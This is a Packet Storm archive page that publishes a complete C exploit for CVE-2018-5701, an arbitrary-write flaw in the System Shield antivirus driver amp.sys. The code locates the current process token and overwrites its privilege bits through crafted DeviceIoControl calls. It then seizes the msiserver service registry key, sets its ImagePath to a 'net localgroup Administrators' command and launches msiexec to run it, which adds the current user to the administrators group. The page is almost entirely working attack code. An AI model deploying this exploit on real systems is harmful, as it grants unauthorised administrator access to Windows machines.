Lucene search

K
packetstormParvez AnwarPACKETSTORM:146165
HistoryJan 30, 2018 - 12:00 a.m.

System Shield 5.0.0.136 Privilege Escalation

2018-01-3000:00:00
Parvez Anwar
packetstormsecurity.com
29

0.039 Low

EPSS

Percentile

92.0%

`/*  
  
Exploit Title - System Shield AntiVirus & AntiSpyware Arbitrary Write Privilege Escalation  
Date - 29th January 2018  
Discovered by - Parvez Anwar (@parvezghh)  
Vendor Homepage - http://www.iolo.com/  
Tested Version - 5.0.0.136  
Driver Version - 5.4.11.1 - amp.sys  
Tested on OS - 64bit Windows 7 and Windows 10 (1709)   
CVE ID - CVE-2018-5701  
Vendor fix url -   
Fixed Version - 0day  
Fixed driver ver - 0day  
  
  
Check blogpost for details:  
  
https://www.greyhathacker.net/?p=1006  
  
*/  
  
  
#include <stdio.h>  
#include <windows.h>  
#include <aclapi.h>  
  
#pragma comment(lib,"advapi32.lib")  
  
#define MSIEXECKEY "MACHINE\\SYSTEM\\CurrentControlSet\\services\\msiserver"  
  
#define SystemHandleInformation 16  
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)  
  
  
typedef unsigned __int64 QWORD;  
  
  
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO  
{  
ULONG ProcessId;  
UCHAR ObjectTypeNumber;  
UCHAR Flags;  
USHORT Handle;  
QWORD Object;  
ACCESS_MASK GrantedAccess;  
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;  
  
  
typedef struct _SYSTEM_HANDLE_INFORMATION   
{  
ULONG NumberOfHandles;  
SYSTEM_HANDLE Handles[1];  
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;  
  
  
typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(  
ULONG SystemInformationClass,  
PVOID SystemInformation,  
ULONG SystemInformationLength,  
PULONG ReturnLength);  
  
  
  
  
QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID)   
{  
_NtQuerySystemInformation NtQuerySystemInformation;  
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo;   
ULONG i;  
PSYSTEM_HANDLE pHandle;  
QWORD TokenAddress = 0;   
DWORD nSize = 4096;  
DWORD nReturn;   
BOOL tProcess;   
HANDLE hToken;  
  
  
if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE)  
{  
printf("\n[-] OpenProcessToken() failed (%d)\n", GetLastError());  
return -1;  
}  
  
NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");  
  
if (!NtQuerySystemInformation)  
{  
printf("[-] Unable to resolve NtQuerySystemInformation\n\n");  
return -1;   
}  
  
do  
{   
nSize += 4096;  
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize);   
} while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH);  
  
printf("\n[i] Current process id %d and token handle value %u", MyProcessID, hToken);   
  
for (i = 0; i < pSysHandleInfo->NumberOfHandles; i++)   
{  
  
if (pSysHandleInfo->Handles[i].ProcessId == MyProcessID && pSysHandleInfo->Handles[i].Handle == hToken)   
{  
TokenAddress = pSysHandleInfo->Handles[i].Object;   
}  
}  
  
HeapFree(GetProcessHeap(), 0, pSysHandleInfo);  
return TokenAddress;   
}  
  
  
  
int TakeOwnership()  
{  
HANDLE token;  
PTOKEN_USER user = NULL;  
PACL pACL = NULL;  
EXPLICIT_ACCESS ea;   
DWORD dwLengthNeeded;  
  
  
  
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token))  
{   
printf("\n[-] OpenProcessToken failed %d\n\n", GetLastError());  
ExitProcess(1);  
}  
printf("\n[+] OpenProcessToken successful");  
  
if (!GetTokenInformation(token, TokenUser, NULL, 0, &dwLengthNeeded) && GetLastError() != ERROR_INSUFFICIENT_BUFFER)  
{  
printf("\n[-] Failed to initialize GetTokenInformation %d\n\n", GetLastError());  
ExitProcess(1);  
}  
  
user = (PTOKEN_USER)LocalAlloc(0, dwLengthNeeded);  
  
if (!GetTokenInformation(token, TokenUser, user, dwLengthNeeded, &dwLengthNeeded))  
{  
printf("\n[-] GetTokenInformation failed %d\n\n", GetLastError());  
ExitProcess(1);  
}  
  
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));  
  
// build DACL  
  
ea.grfAccessPermissions = KEY_ALL_ACCESS;  
ea.grfAccessMode = GRANT_ACCESS;  
ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;  
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;  
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;  
ea.Trustee.ptstrName = (LPTSTR)user->User.Sid;   
  
if (SetEntriesInAcl(1, &ea, NULL, &pACL) != ERROR_SUCCESS)  
{  
printf("\n[-] SetEntriesInAcl failure\n\n");  
ExitProcess(1);  
}   
printf("\n[+] SetEntriesInAcl successful");  
  
// Take ownership  
  
if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, user->User.Sid, NULL, NULL, NULL) != ERROR_SUCCESS)  
{  
printf("\n[-] Failed to obtain the object's ownership %d\n\n", GetLastError());  
ExitProcess(1);  
}  
printf("\n[+] Ownership '%s' successful", MSIEXECKEY);  
  
// Modify DACL  
  
if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL) != ERROR_SUCCESS)  
{  
printf("\n[-] Failed to modify the object's DACL %d\n\n", GetLastError());  
ExitProcess(1);  
}  
printf("\n[+] Object's DACL successfully modified");  
  
LocalFree(pACL);  
CloseHandle(token);  
  
return 0;  
}  
  
  
  
int RestorePermissions()  
{  
PACL pOldDACL = NULL;  
PSID pSIDAdmin = NULL;  
SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;  
  
  
  
printf("\n[*] Restoring all permissions and value");  
  
// Restore registry value  
  
WriteToRegistry("%systemroot%\\system32\\msiexec.exe /V");   
  
// Sid for the BUILTIN\Administrators group  
  
if (!AllocateAndInitializeSid(&SIDAuthNT, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pSIDAdmin))   
{  
printf("\nAllocateAndInitializeSid failed %d\n\n", GetLastError());  
ExitProcess(1);  
}  
  
// Restore key ownership  
  
if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, pSIDAdmin, NULL, NULL, NULL) != ERROR_SUCCESS)  
{  
printf("\n[-] Failed to restore the object's ownership %d\n\n", GetLastError());  
ExitProcess(1);  
}  
printf("\n[+] Object's ownership successfully restored");  
  
// Take copy of parent key  
  
if (GetNamedSecurityInfo("MACHINE\\SYSTEM\\CurrentControlSet\\Services", SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) != ERROR_SUCCESS)  
{  
printf("\n[-] Failed to copy parent key object's DACL %d\n\n", GetLastError());  
ExitProcess(1);  
}  
printf("\n[+] Parent key object's DACL successfully saved");  
  
// Restore key permissions  
  
if (SetNamedSecurityInfo(MSIEXECKEY, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION, NULL, NULL, pOldDACL, NULL) != ERROR_SUCCESS)  
{  
printf("\n[-] Failed to restore the object's DACL %d\n\n", GetLastError());  
ExitProcess(1);  
}  
printf("\n[+] Object's DACL successfully restored");  
  
FreeSid(pSIDAdmin);   
  
return 0;  
}  
  
  
  
int WriteToRegistry(char command[])  
{  
HKEY hkeyhandle;  
  
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\services\\msiserver", 0, KEY_WRITE, &hkeyhandle) != ERROR_SUCCESS)  
{  
printf("\n[-] Registry key failed to open %d\n\n", GetLastError());  
ExitProcess(1);  
}  
  
if (RegSetValueEx(hkeyhandle, "ImagePath", 0, REG_EXPAND_SZ, (LPBYTE) command, strlen(command)) != ERROR_SUCCESS)  
{  
printf("\n[-] Registry value failed to write %d\n\n", GetLastError());  
ExitProcess(1);  
}  
  
printf("\n[+] Registry key opened and value modified");  
  
RegCloseKey(hkeyhandle);  
  
return 0;  
}  
  
  
  
int TriggerCommand()  
{  
STARTUPINFO si;  
PROCESS_INFORMATION pi;  
  
  
ZeroMemory(&si, sizeof(si));  
ZeroMemory(&pi, sizeof(pi));  
si.cb = sizeof(si);  
  
if (!CreateProcess(NULL, "c:\\windows\\system32\\msiexec.exe /i poc.msi /quiet", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))  
{  
printf("\n[-] CreateProcess failed %d", GetLastError());  
ExitProcess(1);  
}  
printf("\n[+] c:\\windows\\system32\\msiexec.exe launched");  
printf("\n[i] Account should now be in the local administrators group");  
  
CloseHandle(pi.hThread);  
CloseHandle(pi.hProcess);  
  
return 0;  
}  
  
  
  
int main(int argc, char *argv[])   
{  
QWORD TokenAddressTarget;   
QWORD SepPrivilegesOffset = 0x40;  
QWORD TokenAddress;  
HANDLE hDevice;  
char devhandle[MAX_PATH];  
DWORD dwRetBytes = 0;   
QWORD inbuffer1[3] = {0};   
QWORD inbuffer2[3] = {0};   
QWORD ptrbuffer[1] = {0}; // QWORD4 - Has to be 0 for arbitrary write value to be 0xfffffffe   
DWORD currentusersize;  
char currentuser[100];  
char netcommand[MAX_PATH];   
  
  
  
printf("-------------------------------------------------------------------------------\n");  
printf(" System Shield AntiVirus & AntiSpyware (amp.sys) Arbitrary Write EoP Exploit \n");  
printf(" Tested on 64bit Windows 7 / Windows 10 (1709) \n");  
printf("-------------------------------------------------------------------------------\n");  
  
TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId());  
printf("\n[i] Address of current process token 0x%p", TokenAddress);  
  
TokenAddressTarget = TokenAddress + SepPrivilegesOffset;  
printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten", TokenAddressTarget);  
  
inbuffer1[0] = 0x8; // QWORD1 - Cannot be more than 8. Also different values (<9) calculates to different sub calls  
inbuffer1[1] = ptrbuffer; // QWORD2 - Address used for read and write  
inbuffer1[2] = TokenAddressTarget+1; // QWORD3 - Arbitrary write address !!!  
  
inbuffer2[0] = 0x8;  
inbuffer2[1] = ptrbuffer;  
inbuffer2[2] = TokenAddressTarget+9;  
  
sprintf(devhandle, "\\\\.\\%s", "amp");  
  
hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);  
  
if(hDevice == INVALID_HANDLE_VALUE)  
{  
printf("\n[-] Open %s device failed\n\n", devhandle);  
return -1;  
}  
else  
{  
printf("\n[+] Open %s device successful", devhandle);  
}   
  
printf("\n[~] Press any key to continue . . .\n");  
getch();  
  
DeviceIoControl(hDevice, 0x00226003, inbuffer1, sizeof(inbuffer1), NULL, 0, &dwRetBytes, NULL);   
DeviceIoControl(hDevice, 0x00226003, inbuffer2, sizeof(inbuffer2), NULL, 0, &dwRetBytes, NULL);   
  
printf("[+] Overwritten _SEP_TOKEN_PRIVILEGES bits\n");  
CloseHandle(hDevice);  
  
currentusersize = sizeof(currentuser);  
  
if (!GetUserName(currentuser, &currentusersize))  
{  
printf("\n[-] Failed to obtain current username: %d\n\n", GetLastError());  
return -1;  
}  
  
printf("[*] Adding current user '%s' account to the local administrators group", currentuser);  
  
sprintf(netcommand, "net localgroup Administrators %s /add", currentuser);  
  
TakeOwnership();   
WriteToRegistry(netcommand);   
TriggerCommand();  
Sleep(1000);  
RestorePermissions();   
printf("\n\n");  
  
return 0;  
}  
  
  
`

0.039 Low

EPSS

Percentile

92.0%